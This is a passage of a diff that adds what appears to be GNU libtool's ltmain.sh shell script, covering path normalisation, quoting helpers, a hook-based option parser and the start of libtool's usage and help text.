we ascended to the root using ".." the result may be empty now. + if test -z "$func_normal_abspath_result"; then + func_normal_abspath_result=/ + fi + break + fi + func_normal_abspath_tcomponent=`$ECHO "$func_normal_abspath_tpath" | $SED \ + -e "$_G_pathcar"` + func_normal_abspath_tpath=`$ECHO "$func_normal_abspath_tpath" | $SED \ + -e "$_G_pathcdr"` + # Figure out what to do with it + case $func_normal_abspath_tcomponent in + "") + # Trailing empty path component, ignore it. + ;; + ..) + # Parent dir; strip last assembled component from result. + func_dirname "$func_normal_abspath_result" + func_normal_abspath_result=$func_dirname_result + ;; + *) + # Actual path component, append it. + func_append func_normal_abspath_result "/$func_normal_abspath_tcomponent" + ;; + esac + done + # Restore leading double-slash if one was found on entry. + func_normal_abspath_result=$func_normal_abspath_altnamespace$func_normal_abspath_result +} + + +# func_notquiet ARG... +# -------------------- +# Echo program name prefixed message only when not in quiet mode. +func_notquiet () +{ + $debug_cmd + + $opt_quiet || func_echo ${1+"$@"} + + # A bug in bash halts the script if the last line of a function + # fails when set -e is in force, so we need another command to + # work around that: + : +} + + +# func_relative_path SRCDIR DSTDIR +# -------------------------------- +# Set func_relative_path_result to the relative path from SRCDIR to DSTDIR. +func_relative_path () +{ + $debug_cmd + + func_relative_path_result= + func_normal_abspath "$1" + func_relative_path_tlibdir=$func_normal_abspath_result + func_normal_abspath "$2" + func_relative_path_tbindir=$func_normal_abspath_result + + # Ascend the tree starting from libdir + while :; do + # check if we have found a prefix of bindir + case $func_relative_path_tbindir in + $func_relative_path_tlibdir) + # found an exact match + func_relative_path_tcancelled= + break + ;; + $func_relative_path_tlibdir*) + # found a matching prefix + func_stripname "$func_relative_path_tlibdir" '' "$func_relative_path_tbindir" + func_relative_path_tcancelled=$func_stripname_result + if test -z "$func_relative_path_result"; then + func_relative_path_result=. + fi + break + ;; + *) + func_dirname $func_relative_path_tlibdir + func_relative_path_tlibdir=$func_dirname_result + if test -z "$func_relative_path_tlibdir"; then + # Have to descend all the way to the root! + func_relative_path_result=../$func_relative_path_result + func_relative_path_tcancelled=$func_relative_path_tbindir + break + fi + func_relative_path_result=../$func_relative_path_result + ;; + esac + done + + # Now calculate path; take care to avoid doubling-up slashes. + func_stripname '' '/' "$func_relative_path_result" + func_relative_path_result=$func_stripname_result + func_stripname '/' '/' "$func_relative_path_tcancelled" + if test -n "$func_stripname_result"; then + func_append func_relative_path_result "/$func_stripname_result" + fi + + # Normalisation. If bindir is libdir, return '.' else relative path. + if test -n "$func_relative_path_result"; then + func_stripname './' '' "$func_relative_path_result" + func_relative_path_result=$func_stripname_result + fi + + test -n "$func_relative_path_result" || func_relative_path_result=. + + : +} + + +# func_quote_portable EVAL ARG +# ---------------------------- +# Internal function to portably implement func_quote_arg. Note that we still +# keep attention to performance here so we as much as possible try to avoid +# calling sed binary (so far O(N) complexity as long as func_append is O(1)). +func_quote_portable () +{ + $debug_cmd + + $require_check_ifs_backslash + + func_quote_portable_result=$2 + + # one-time-loop (easy break) + while true + do + if $1; then + func_quote_portable_result=`$ECHO "$2" | $SED \ + -e "$sed_double_quote_subst" -e "$sed_double_backslash"` + break + fi + + # Quote for eval. + case $func_quote_portable_result in + *[\\\`\"\$]*) + # Fallback to sed for $func_check_bs_ifs_broken=:, or when the string + # contains the shell wildcard characters. + case $check_ifs_backshlash_broken$func_quote_portable_result in + :*|*[\[\*\?]*) + func_quote_portable_result=`$ECHO "$func_quote_portable_result" \ + | $SED "$sed_quote_subst"` + break + ;; + esac + + func_quote_portable_old_IFS=$IFS + for _G_char in '\' '`' '"' '$' + do + # STATE($1) PREV($2) SEPARATOR($3) + set start "" "" + func_quote_portable_result=dummy"$_G_char$func_quote_portable_result$_G_char"dummy + IFS=$_G_char + for _G_part in $func_quote_portable_result + do + case $1 in + quote) + func_append func_quote_portable_result "$3$2" + set quote "$_G_part" "\\$_G_char" + ;; + start) + set first "" "" + func_quote_portable_result= + ;; + first) + set quote "$_G_part" "" + ;; + esac + done + done + IFS=$func_quote_portable_old_IFS + ;; + *) ;; + esac + break + done + + func_quote_portable_unquoted_result=$func_quote_portable_result + case $func_quote_portable_result in + # double-quote args containing shell metacharacters to delay + # word splitting, command substitution and variable expansion + # for a subsequent eval. + # many bourne shells cannot handle close brackets correctly + # in scan sets, so we specify it separately. + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + func_quote_portable_result=\"$func_quote_portable_result\" + ;; + esac +} + + +# func_quotefast_eval ARG +# ----------------------- +# Quote one ARG (internal). This is equivalent to 'func_quote_arg eval ARG', +# but optimized for speed. Result is stored in $func_quotefast_eval. +if test xyes = `(x=; printf -v x %q yes; echo x"$x") 2>/dev/null`; then + printf -v _GL_test_printf_tilde %q '~' + if test '\~' = "$_GL_test_printf_tilde"; then + func_quotefast_eval () + { + printf -v func_quotefast_eval_result %q "$1" + } + else + # Broken older Bash implementations. Make those faster too if possible. + func_quotefast_eval () + { + case $1 in + '~'*) + func_quote_portable false "$1" + func_quotefast_eval_result=$func_quote_portable_result + ;; + *) + printf -v func_quotefast_eval_result %q "$1" + ;; + esac + } + fi +else + func_quotefast_eval () + { + func_quote_portable false "$1" + func_quotefast_eval_result=$func_quote_portable_result + } +fi + + +# func_quote_arg MODEs ARG +# ------------------------ +# Quote one ARG to be evaled later. MODEs argument may contain zero or more +# specifiers listed below separated by ',' character. This function returns two +# values: +# i) func_quote_arg_result +# double-quoted (when needed), suitable for a subsequent eval +# ii) func_quote_arg_unquoted_result +# has all characters that are still active within double +# quotes backslashified. Available only if 'unquoted' is specified. +# +# Available modes: +# ---------------- +# 'eval' (default) +# - escape shell special characters +# 'expand' +# - the same as 'eval'; but do not quote variable references +# 'pretty' +# - request aesthetic output, i.e. '"a b"' instead of 'a\ b'. This might +# be used later in func_quote to get output like: 'echo "a b"' instead +# of 'echo a\ b'. This is slower than default on some shells. +# 'unquoted' +# - produce also $func_quote_arg_unquoted_result which does not contain +# wrapping double-quotes. +# +# Examples for 'func_quote_arg pretty,unquoted string': +# +# string | *_result | *_unquoted_result +# ------------+-----------------------+------------------- +# " | \" | \" +# a b | "a b" | a b +# "a b" | "\"a b\"" | \"a b\" +# * | "*" | * +# z="${x-$y}" | "z=\"\${x-\$y}\"" | z=\"\${x-\$y}\" +# +# Examples for 'func_quote_arg pretty,unquoted,expand string': +# +# string | *_result | *_unquoted_result +# --------------+---------------------+-------------------- +# z="${x-$y}" | "z=\"${x-$y}\"" | z=\"${x-$y}\" +func_quote_arg () +{ + _G_quote_expand=false + case ,$1, in + *,expand,*) + _G_quote_expand=: + ;; + esac + + case ,$1, in + *,pretty,*|*,expand,*|*,unquoted,*) + func_quote_portable $_G_quote_expand "$2" + func_quote_arg_result=$func_quote_portable_result + func_quote_arg_unquoted_result=$func_quote_portable_unquoted_result + ;; + *) + # Faster quote-for-eval for some shells. + func_quotefast_eval "$2" + func_quote_arg_result=$func_quotefast_eval_result + ;; + esac +} + + +# func_quote MODEs ARGs... +# ------------------------ +# Quote all ARGs to be evaled later and join them into single command. See +# func_quote_arg's description for more info. +func_quote () +{ + $debug_cmd + _G_func_quote_mode=$1 ; shift + func_quote_result= + while test 0 -lt $#; do + func_quote_arg "$_G_func_quote_mode" "$1" + if test -n "$func_quote_result"; then + func_append func_quote_result " $func_quote_arg_result" + else + func_append func_quote_result "$func_quote_arg_result" + fi + shift + done +} + + +# func_stripname PREFIX SUFFIX NAME +# --------------------------------- +# strip PREFIX and SUFFIX from NAME, and store in func_stripname_result. +# PREFIX and SUFFIX must not contain globbing or regex special +# characters, hashes, percent signs, but SUFFIX may contain a leading +# dot (in which case that matches only a dot). +if test yes = "$_G_HAVE_XSI_OPS"; then + eval 'func_stripname () + { + $debug_cmd + + # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are + # positional parameters, so assign one to ordinary variable first. + func_stripname_result=$3 + func_stripname_result=${func_stripname_result#"$1"} + func_stripname_result=${func_stripname_result%"$2"} + }' +else + func_stripname () + { + $debug_cmd + + case $2 in + .*) func_stripname_result=`$ECHO "$3" | $SED -e "s%^$1%%" -e "s%\\\\$2\$%%"`;; + *) func_stripname_result=`$ECHO "$3" | $SED -e "s%^$1%%" -e "s%$2\$%%"`;; + esac + } +fi + + +# func_show_eval CMD [FAIL_EXP] +# ----------------------------- +# Unless opt_quiet is true, then output CMD. Then, if opt_dryrun is +# not true, evaluate CMD. If the evaluation of CMD fails, and FAIL_EXP +# is given, then evaluate it. +func_show_eval () +{ + $debug_cmd + + _G_cmd=$1 + _G_fail_exp=${2-':'} + + func_quote_arg pretty,expand "$_G_cmd" + eval "func_notquiet $func_quote_arg_result" + + $opt_dry_run || { + eval "$_G_cmd" + _G_status=$? + if test 0 -ne "$_G_status"; then + eval "(exit $_G_status); $_G_fail_exp" + fi + } +} + + +# func_show_eval_locale CMD [FAIL_EXP] +# ------------------------------------ +# Unless opt_quiet is true, then output CMD. Then, if opt_dryrun is +# not true, evaluate CMD. If the evaluation of CMD fails, and FAIL_EXP +# is given, then evaluate it. Use the saved locale for evaluation. +func_show_eval_locale () +{ + $debug_cmd + + _G_cmd=$1 + _G_fail_exp=${2-':'} + + $opt_quiet || { + func_quote_arg expand,pretty "$_G_cmd" + eval "func_echo $func_quote_arg_result" + } + + $opt_dry_run || { + eval "$_G_user_locale + $_G_cmd" + _G_status=$? + eval "$_G_safe_locale" + if test 0 -ne "$_G_status"; then + eval "(exit $_G_status); $_G_fail_exp" + fi + } +} + + +# func_tr_sh +# ---------- +# Turn $1 into a string suitable for a shell variable name. +# Result is stored in $func_tr_sh_result. All characters +# not in the set a-zA-Z0-9_ are replaced with '_'. Further, +# if $1 begins with a digit, a '_' is prepended as well. +func_tr_sh () +{ + $debug_cmd + + case $1 in + [0-9]* | *[!a-zA-Z0-9_]*) + func_tr_sh_result=`$ECHO "$1" | $SED -e 's/^\([0-9]\)/_\1/' -e 's/[^a-zA-Z0-9_]/_/g'` + ;; + * ) + func_tr_sh_result=$1 + ;; + esac +} + + +# func_verbose ARG... +# ------------------- +# Echo program name prefixed message in verbose mode only. +func_verbose () +{ + $debug_cmd + + $opt_verbose && func_echo "$*" + + : +} + + +# func_warn_and_continue ARG... +# ----------------------------- +# Echo program name prefixed warning message to standard error. +func_warn_and_continue () +{ + $debug_cmd + + $require_term_colors + + func_echo_infix_1 "${tc_red}warning$tc_reset" "$*" >&2 +} + + +# func_warning CATEGORY ARG... +# ---------------------------- +# Echo program name prefixed warning message to standard error. Warning +# messages can be filtered according to CATEGORY, where this function +# elides messages where CATEGORY is not listed in the global variable +# 'opt_warning_types'. +func_warning () +{ + $debug_cmd + + # CATEGORY must be in the warning_categories list! + case " $warning_categories " in + *" $1 "*) ;; + *) func_internal_error "invalid warning category '$1'" ;; + esac + + _G_category=$1 + shift + + case " $opt_warning_types " in + *" $_G_category "*) $warning_func ${1+"$@"} ;; + esac +} + + +# func_sort_ver VER1 VER2 +# ----------------------- +# 'sort -V' is not generally available. +# Note this deviates from the version comparison in automake +# in that it treats 1.5 < 1.5.0, and treats 1.4.4a < 1.4-p3a +# but this should suffice as we won't be specifying old +# version formats or redundant trailing .0 in bootstrap.conf. +# If we did want full compatibility then we should probably +# use m4_version_compare from autoconf. +func_sort_ver () +{ + $debug_cmd + + printf '%s\n%s\n' "$1" "$2" \ + | sort -t. -k 1,1n -k 2,2n -k 3,3n -k 4,4n -k 5,5n -k 6,6n -k 7,7n -k 8,8n -k 9,9n +} + +# func_lt_ver PREV CURR +# --------------------- +# Return true if PREV and CURR are in the correct order according to +# func_sort_ver, otherwise false. Use it like this: +# +# func_lt_ver "$prev_ver" "$proposed_ver" || func_fatal_error "..." +func_lt_ver () +{ + $debug_cmd + + test "x$1" = x`func_sort_ver "$1" "$2" | $SED 1q` +} + + +# Local variables: +# mode: shell-script +# sh-indentation: 2 +# eval: (add-hook 'before-save-hook 'time-stamp) +# time-stamp-pattern: "10/scriptversion=%:y-%02m-%02d.%02H; # UTC" +# time-stamp-time-zone: "UTC" +# End: +#! /bin/sh + +# A portable, pluggable option parser for Bourne shell. +# Written by Gary V. Vaughan, 2010 + +# This is free software. There is NO warranty; not even for +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. +# +# Copyright (C) 2010-2019, 2021 Bootstrap Authors +# +# This file is dual licensed under the terms of the MIT license +# , and GPL version 2 or later +# . You must apply one of +# these licenses when using or redistributing this software or any of +# the files within it. See the URLs above, or the file `LICENSE` +# included in the Bootstrap distribution for the full license texts. + +# Please report bugs or propose patches to: +# + +# Set a version string for this script. +scriptversion=2019-02-19.15; # UTC + + +## ------ ## +## Usage. ## +## ------ ## + +# This file is a library for parsing options in your shell scripts along +# with assorted other useful supporting features that you can make use +# of too. +# +# For the simplest scripts you might need only: +# +# #!/bin/sh +# . relative/path/to/funclib.sh +# . relative/path/to/options-parser +# scriptversion=1.0 +# func_options ${1+"$@"} +# eval set dummy "$func_options_result"; shift +# ...rest of your script... +# +# In order for the '--version' option to work, you will need to have a +# suitably formatted comment like the one at the top of this file +# starting with '# Written by ' and ending with '# Copyright'. +# +# For '-h' and '--help' to work, you will also need a one line +# description of your script's purpose in a comment directly above the +# '# Written by ' line, like the one at the top of this file. +# +# The default options also support '--debug', which will turn on shell +# execution tracing (see the comment above debug_cmd below for another +# use), and '--verbose' and the func_verbose function to allow your script +# to display verbose messages only when your user has specified +# '--verbose'. +# +# After sourcing this file, you can plug in processing for additional +# options by amending the variables from the 'Configuration' section +# below, and following the instructions in the 'Option parsing' +# section further down. + +## -------------- ## +## Configuration. ## +## -------------- ## + +# You should override these variables in your script after sourcing this +# file so that they reflect the customisations you have added to the +# option parser. + +# The usage line for option parsing errors and the start of '-h' and +# '--help' output messages. You can embed shell variables for delayed +# expansion at the time the message is displayed, but you will need to +# quote other shell meta-characters carefully to prevent them being +# expanded when the contents are evaled. +usage='$progpath [OPTION]...' + +# Short help message in response to '-h' and '--help'. Add to this or +# override it after sourcing this library to reflect the full set of +# options your script accepts. +usage_message="\ + --debug enable verbose shell tracing + -W, --warnings=CATEGORY + report the warnings falling in CATEGORY [all] + -v, --verbose verbosely report processing + --version print version information and exit + -h, --help print short or long help message and exit +" + +# Additional text appended to 'usage_message' in response to '--help'. +long_help_message=" +Warning categories include: + 'all' show all warnings + 'none' turn off all the warnings + 'error' warnings are treated as fatal errors" + +# Help message printed before fatal option parsing errors. +fatal_help="Try '\$progname --help' for more information." + + + +## ------------------------- ## +## Hook function management. ## +## ------------------------- ## + +# This section contains functions for adding, removing, and running hooks +# in the main code. A hook is just a list of function names that can be +# run in order later on. + +# func_hookable FUNC_NAME +# ----------------------- +# Declare that FUNC_NAME will run hooks added with +# 'func_add_hook FUNC_NAME ...'. +func_hookable () +{ + $debug_cmd + + func_append hookable_fns " $1" +} + + +# func_add_hook FUNC_NAME HOOK_FUNC +# --------------------------------- +# Request that FUNC_NAME call HOOK_FUNC before it returns. FUNC_NAME must +# first have been declared "hookable" by a call to 'func_hookable'. +func_add_hook () +{ + $debug_cmd + + case " $hookable_fns " in + *" $1 "*) ;; + *) func_fatal_error "'$1' does not accept hook functions." ;; + esac + + eval func_append ${1}_hooks '" $2"' +} + + +# func_remove_hook FUNC_NAME HOOK_FUNC +# ------------------------------------ +# Remove HOOK_FUNC from the list of hook functions to be called by +# FUNC_NAME. +func_remove_hook () +{ + $debug_cmd + + eval ${1}_hooks='`$ECHO "\$'$1'_hooks" |$SED "s| '$2'||"`' +} + + +# func_propagate_result FUNC_NAME_A FUNC_NAME_B +# --------------------------------------------- +# If the *_result variable of FUNC_NAME_A _is set_, assign its value to +# *_result variable of FUNC_NAME_B. +func_propagate_result () +{ + $debug_cmd + + func_propagate_result_result=: + if eval "test \"\${${1}_result+set}\" = set" + then + eval "${2}_result=\$${1}_result" + else + func_propagate_result_result=false + fi +} + + +# func_run_hooks FUNC_NAME [ARG]... +# --------------------------------- +# Run all hook functions registered to FUNC_NAME. +# It's assumed that the list of hook functions contains nothing more +# than a whitespace-delimited list of legal shell function names, and +# no effort is wasted trying to catch shell meta-characters or preserve +# whitespace. +func_run_hooks () +{ + $debug_cmd + + case " $hookable_fns " in + *" $1 "*) ;; + *) func_fatal_error "'$1' does not support hook functions." ;; + esac + + eval _G_hook_fns=\$$1_hooks; shift + + for _G_hook in $_G_hook_fns; do + func_unset "${_G_hook}_result" + eval $_G_hook '${1+"$@"}' + func_propagate_result $_G_hook func_run_hooks + if $func_propagate_result_result; then + eval set dummy "$func_run_hooks_result"; shift + fi + done +} + + + +## --------------- ## +## Option parsing. ## +## --------------- ## + +# In order to add your own option parsing hooks, you must accept the +# full positional parameter list from your hook function. You may remove +# or edit any options that you action, and then pass back the remaining +# unprocessed options in '_result', escaped +# suitably for 'eval'. +# +# The '_result' variable is automatically unset +# before your hook gets called; for best performance, only set the +# *_result variable when necessary (i.e. don't call the 'func_quote' +# function unnecessarily because it can be an expensive operation on some +# machines). +# +# Like this: +# +# my_options_prep () +# { +# $debug_cmd +# +# # Extend the existing usage message. +# usage_message=$usage_message' +# -s, --silent don'\''t print informational messages +# ' +# # No change in '$@' (ignored completely by this hook). Leave +# # my_options_prep_result variable intact. +# } +# func_add_hook func_options_prep my_options_prep +# +# +# my_silent_option () +# { +# $debug_cmd +# +# args_changed=false +# +# # Note that, for efficiency, we parse as many options as we can +# # recognise in a loop before passing the remainder back to the +# # caller on the first unrecognised argument we encounter. +# while test $# -gt 0; do +# opt=$1; shift +# case $opt in +# --silent|-s) opt_silent=: +# args_changed=: +# ;; +# # Separate non-argument short options: +# -s*) func_split_short_opt "$_G_opt" +# set dummy "$func_split_short_opt_name" \ +# "-$func_split_short_opt_arg" ${1+"$@"} +# shift +# args_changed=: +# ;; +# *) # Make sure the first unrecognised option "$_G_opt" +# # is added back to "$@" in case we need it later, +# # if $args_changed was set to 'true'. +# set dummy "$_G_opt" ${1+"$@"}; shift; break ;; +# esac +# done +# +# # Only call 'func_quote' here if we processed at least one argument. +# if $args_changed; then +# func_quote eval ${1+"$@"} +# my_silent_option_result=$func_quote_result +# fi +# } +# func_add_hook func_parse_options my_silent_option +# +# +# my_option_validation () +# { +# $debug_cmd +# +# $opt_silent && $opt_verbose && func_fatal_help "\ +# '--silent' and '--verbose' options are mutually exclusive." +# } +# func_add_hook func_validate_options my_option_validation +# +# You'll also need to manually amend $usage_message to reflect the extra +# options you parse. It's preferable to append if you can, so that +# multiple option parsing hooks can be added safely. + + +# func_options_finish [ARG]... +# ---------------------------- +# Finishing the option parse loop (call 'func_options' hooks ATM). +func_options_finish () +{ + $debug_cmd + + func_run_hooks func_options ${1+"$@"} + func_propagate_result func_run_hooks func_options_finish +} + + +# func_options [ARG]... +# --------------------- +# All the functions called inside func_options are hookable. See the +# individual implementations for details. +func_hookable func_options +func_options () +{ + $debug_cmd + + _G_options_quoted=false + + for my_func in options_prep parse_options validate_options options_finish + do + func_unset func_${my_func}_result + func_unset func_run_hooks_result + eval func_$my_func '${1+"$@"}' + func_propagate_result func_$my_func func_options + if $func_propagate_result_result; then + eval set dummy "$func_options_result"; shift + _G_options_quoted=: + fi + done + + $_G_options_quoted || { + # As we (func_options) are top-level options-parser function and + # nobody quoted "$@" for us yet, we need to do it explicitly for + # caller. + func_quote eval ${1+"$@"} + func_options_result=$func_quote_result + } +} + + +# func_options_prep [ARG]... +# -------------------------- +# All initialisations required before starting the option parse loop. +# Note that when calling hook functions, we pass through the list of +# positional parameters. If a hook function modifies that list, and +# needs to propagate that back to rest of this script, then the complete +# modified list must be put in 'func_run_hooks_result' before returning. +func_hookable func_options_prep +func_options_prep () +{ + $debug_cmd + + # Option defaults: + opt_verbose=false + opt_warning_types= + + func_run_hooks func_options_prep ${1+"$@"} + func_propagate_result func_run_hooks func_options_prep +} + + +# func_parse_options [ARG]... +# --------------------------- +# The main option parsing loop. +func_hookable func_parse_options +func_parse_options () +{ + $debug_cmd + + _G_parse_options_requote=false + # this just eases exit handling + while test $# -gt 0; do + # Defer to hook functions for initial option parsing, so they + # get priority in the event of reusing an option name. + func_run_hooks func_parse_options ${1+"$@"} + func_propagate_result func_run_hooks func_parse_options + if $func_propagate_result_result; then + eval set dummy "$func_parse_options_result"; shift + # Even though we may have changed "$@", we passed the "$@" array + # down into the hook and it quoted it for us (because we are in + # this if-branch). No need to quote it again. + _G_parse_options_requote=false + fi + + # Break out of the loop if we already parsed every option. + test $# -gt 0 || break + + # We expect that one of the options parsed in this function matches + # and thus we remove _G_opt from "$@" and need to re-quote. + _G_match_parse_options=: + _G_opt=$1 + shift + case $_G_opt in + --debug|-x) debug_cmd='set -x' + func_echo "enabling shell trace mode" >&2 + $debug_cmd + ;; + + --no-warnings|--no-warning|--no-warn) + set dummy --warnings none ${1+"$@"} + shift + ;; + + --warnings|--warning|-W) + if test $# = 0 && func_missing_arg $_G_opt; then + _G_parse_options_requote=: + break + fi + case " $warning_categories $1" in + *" $1 "*) + # trailing space prevents matching last $1 above + func_append_uniq opt_warning_types " $1" + ;; + *all) + opt_warning_types=$warning_categories + ;; + *none) + opt_warning_types=none + warning_func=: + ;; + *error) + opt_warning_types=$warning_categories + warning_func=func_fatal_error + ;; + *) + func_fatal_error \ + "unsupported warning category: '$1'" + ;; + esac + shift + ;; + + --verbose|-v) opt_verbose=: ;; + --version) func_version ;; + -\?|-h) func_usage ;; + --help) func_help ;; + + # Separate optargs to long options (plugins may need this): + --*=*) func_split_equals "$_G_opt" + set dummy "$func_split_equals_lhs" \ + "$func_split_equals_rhs" ${1+"$@"} + shift + ;; + + # Separate optargs to short options: + -W*) + func_split_short_opt "$_G_opt" + set dummy "$func_split_short_opt_name" \ + "$func_split_short_opt_arg" ${1+"$@"} + shift + ;; + + # Separate non-argument short options: + -\?*|-h*|-v*|-x*) + func_split_short_opt "$_G_opt" + set dummy "$func_split_short_opt_name" \ + "-$func_split_short_opt_arg" ${1+"$@"} + shift + ;; + + --) _G_parse_options_requote=: ; break ;; + -*) func_fatal_help "unrecognised option: '$_G_opt'" ;; + *) set dummy "$_G_opt" ${1+"$@"}; shift + _G_match_parse_options=false + break + ;; + esac + + if $_G_match_parse_options; then + _G_parse_options_requote=: + fi + done + + if $_G_parse_options_requote; then + # save modified positional parameters for caller + func_quote eval ${1+"$@"} + func_parse_options_result=$func_quote_result + fi +} + + +# func_validate_options [ARG]... +# ------------------------------ +# Perform any sanity checks on option settings and/or unconsumed +# arguments. +func_hookable func_validate_options +func_validate_options () +{ + $debug_cmd + + # Display all warnings if -W was not given. + test -n "$opt_warning_types" || opt_warning_types=" $warning_categories" + + func_run_hooks func_validate_options ${1+"$@"} + func_propagate_result func_run_hooks func_validate_options + + # Bail if the options were screwed! + $exit_cmd $EXIT_FAILURE +} + + + +## ----------------- ## +## Helper functions. ## +## ----------------- ## + +# This section contains the helper functions used by the rest of the +# hookable option parser framework in ascii-betical order. + + +# func_fatal_help ARG... +# ---------------------- +# Echo program name prefixed message to standard error, followed by +# a help hint, and exit. +func_fatal_help () +{ + $debug_cmd + + eval \$ECHO \""Usage: $usage"\" + eval \$ECHO \""$fatal_help"\" + func_error ${1+"$@"} + exit $EXIT_FAILURE +} + + +# func_help +# --------- +# Echo long help message to standard output and exit. +func_help () +{ + $debug_cmd + + func_usage_message + $ECHO "$long_help_message" + exit 0 +} + + +# func_missing_arg ARGNAME +# ------------------------ +# Echo program name prefixed message to standard error and set global +# exit_cmd. +func_missing_arg () +{ + $debug_cmd + + func_error "Missing argument for '$1'." + exit_cmd=exit +} + + +# func_split_equals STRING +# ------------------------ +# Set func_split_equals_lhs and func_split_equals_rhs shell variables +# after splitting STRING at the '=' sign. +test -z "$_G_HAVE_XSI_OPS" \ + && (eval 'x=a/b/c; + test 5aa/bb/cc = "${#x}${x%%/*}${x%/*}${x#*/}${x##*/}"') 2>/dev/null \ + && _G_HAVE_XSI_OPS=yes + +if test yes = "$_G_HAVE_XSI_OPS" +then + # This is an XSI compatible shell, allowing a faster implementation... + eval 'func_split_equals () + { + $debug_cmd + + func_split_equals_lhs=${1%%=*} + func_split_equals_rhs=${1#*=} + if test "x$func_split_equals_lhs" = "x$1"; then + func_split_equals_rhs= + fi + }' +else + # ...otherwise fall back to using expr, which is often a shell builtin. + func_split_equals () + { + $debug_cmd + + func_split_equals_lhs=`expr "x$1" : 'x\([^=]*\)'` + func_split_equals_rhs= + test "x$func_split_equals_lhs=" = "x$1" \ + || func_split_equals_rhs=`expr "x$1" : 'x[^=]*=\(.*\)$'` + } +fi #func_split_equals + + +# func_split_short_opt SHORTOPT +# ----------------------------- +# Set func_split_short_opt_name and func_split_short_opt_arg shell +# variables after splitting SHORTOPT after the 2nd character. +if test yes = "$_G_HAVE_XSI_OPS" +then + # This is an XSI compatible shell, allowing a faster implementation... + eval 'func_split_short_opt () + { + $debug_cmd + + func_split_short_opt_arg=${1#??} + func_split_short_opt_name=${1%"$func_split_short_opt_arg"} + }' +else + # ...otherwise fall back to using expr, which is often a shell builtin. + func_split_short_opt () + { + $debug_cmd + + func_split_short_opt_name=`expr "x$1" : 'x\(-.\)'` + func_split_short_opt_arg=`expr "x$1" : 'x-.\(.*\)$'` + } +fi #func_split_short_opt + + +# func_usage +# ---------- +# Echo short help message to standard output and exit. +func_usage () +{ + $debug_cmd + + func_usage_message + $ECHO "Run '$progname --help |${PAGER-more}' for full usage" + exit 0 +} + + +# func_usage_message +# ------------------ +# Echo short help message to standard output. +func_usage_message () +{ + $debug_cmd + + eval \$ECHO \""Usage: $usage"\" + echo + $SED -n 's|^# || + /^Written by/{ + x;p;x + } + h + /^Written by/q' < "$progpath" + echo + eval \$ECHO \""$usage_message"\" +} + + +# func_version +# ------------ +# Echo version message to standard output and exit. +# The version message is extracted from the calling file's header +# comments, with leading '# ' stripped: +# 1. First display the progname and version +# 2. Followed by the header comment line matching /^# Written by / +# 3. Then a blank line followed by the first following line matching +# /^# Copyright / +# 4. Immediately followed by any lines between the previous matches, +# except lines preceding the intervening completely blank line. +# For example, see the header comments of this file. +func_version () +{ + $debug_cmd + + printf '%s\n' "$progname $scriptversion" + $SED -n ' + /^# Written by /!b + s|^# ||; p; n + + :fwd2blnk + /./ { + n + b fwd2blnk + } + p; n + + :holdwrnt + s|^# || + s|^# *$|| + /^Copyright /!{ + /./H + n + b holdwrnt + } + + s|\((C)\)[ 0-9,-]*[ ,-]\([1-9][0-9]* \)|\1 \2| + G + s|\(\n\)\n*|\1|g + p; q' < "$progpath" + + exit $? +} + + +# Local variables: +# mode: shell-script +# sh-indentation: 2 +# eval: (add-hook 'before-save-hook 'time-stamp) +# time-stamp-pattern: "30/scriptversion=%:y-%02m-%02d.%02H; # UTC" +# time-stamp-time-zone: "UTC" +# End: + +# Set a version string. +scriptversion='(GNU libtool) 2.4.7.4-1ec8f-dirty' + + +# func_echo ARG... +# ---------------- +# Libtool also displays the current mode in messages, so override +# funclib.sh func_echo with this custom definition. +func_echo () +{ + $debug_cmd + + _G_message=$* + + func_echo_IFS=$IFS + IFS=$nl + for _G_line in $_G_message; do + IFS=$func_echo_IFS + $ECHO "$progname${opt_mode+: $opt_mode}: $_G_line" + done + IFS=$func_echo_IFS +} + + +# func_warning ARG... +# ------------------- +# Libtool warnings are not categorized, so override funclib.sh +# func_warning with this simpler definition. +func_warning () +{ + $debug_cmd + + $warning_func ${1+"$@"} +} + + +## ---------------- ## +## Options parsing. ## +## ---------------- ## + +# Hook in the functions to make sure our own options are parsed during +# the option parsing loop. + +usage='$progpath [OPTION]... [MODE-ARG]...' + +# Short help message in response to '-h'. +usage_message="Options: + --config show all configuration variables + --debug enable verbose shell tracing + -n, --dry-run display commands without modifying any files + --features display basic configuration information and exit + --mode=MODE use operation mode MODE + --no-warnings equivalent to '-Wnone' + --preserve-dup-deps don't remove duplicate dependency libraries + --quiet, --silent don't print informational messages + --tag=TAG use configuration variables from tag TAG + -v, --verbose print more informational messages than default + --version print version information + -W, --warnings=CATEGORY report the warnings falling in CATEGORY [all] + -h, --help, --help-all print short, long, or detailed help message +" + +# Additional text appended to 'usage_message' in response to '--help'. +func_help () +{ + $debug_cmd + + func_usage_message + $ECHO "$long_help_message + +MODE must be one of the following: + + clean remove files from the build directory + compile compile a source file into a libtool object + execute automatically set library path, then run a program + finish complete the installation of libtool libraries + install install libraries or executables + link create a library or an executable + uninstall remove libraries from an installed directory + +MODE-ARGS vary depending on the MODE. When passed as first option, +'--mode=MODE' may be abbreviated as 'MODE' or a unique abbreviation of that. +Try '$progname --help --mode=MODE' for a more detailed description of MODE. + +When reporting a bug, please describe a test case to reproduce it and +include the following information: + + host-triplet: $host + shell: $SHELL + compiler: $LTCC + compiler flags: $LTCFLAGS + linker: $LD (gnu? $with_gnu_ld) + version: $progname (GNU libtool) 2.4.7.4-1ec8f-dirty + automake: `($AUTOMAKE --version) 2>/dev/null |$SED 1q` + autoconf: `($AUTOCONF --version) 2>/dev/null |$SED 1q` + +Report bugs to . +GNU libtool home page: . +General help using GNU software: ." + exit 0 +} + + +# func_lo2o OBJECT-NAME +# --------------------- +# Transform OBJECT-NAME from a '.lo' suffix to the platform specific +# object suffix. + +lo2o=s/\\.lo\$/.$objext/ +o2lo=s/\\.$objext\$/.lo/ + +if test yes = "$_G_HAVE_XSI_OPS"; then + eval 'func_lo2o () + { + case $1 in + *.lo) func_lo2o_result=${1%.lo}.$objext ;; + * ) func_lo2o_result=$1 ;; + esac + }' + + # func_xform LIBOBJ-OR-SOURCE + # --------------------------- + # Transform LIBOBJ-OR-SOURCE from a '.o' or '.c' (or otherwise) + # suffix to a '.lo' libtool-object suffix. + eval 'func_xform () + { + func_xform_result=${1%.*}.lo + }' +else + # ...otherwise fall back to using sed. + func_lo2o () + { + func_lo2o_result=`$ECHO "$1" | $SED 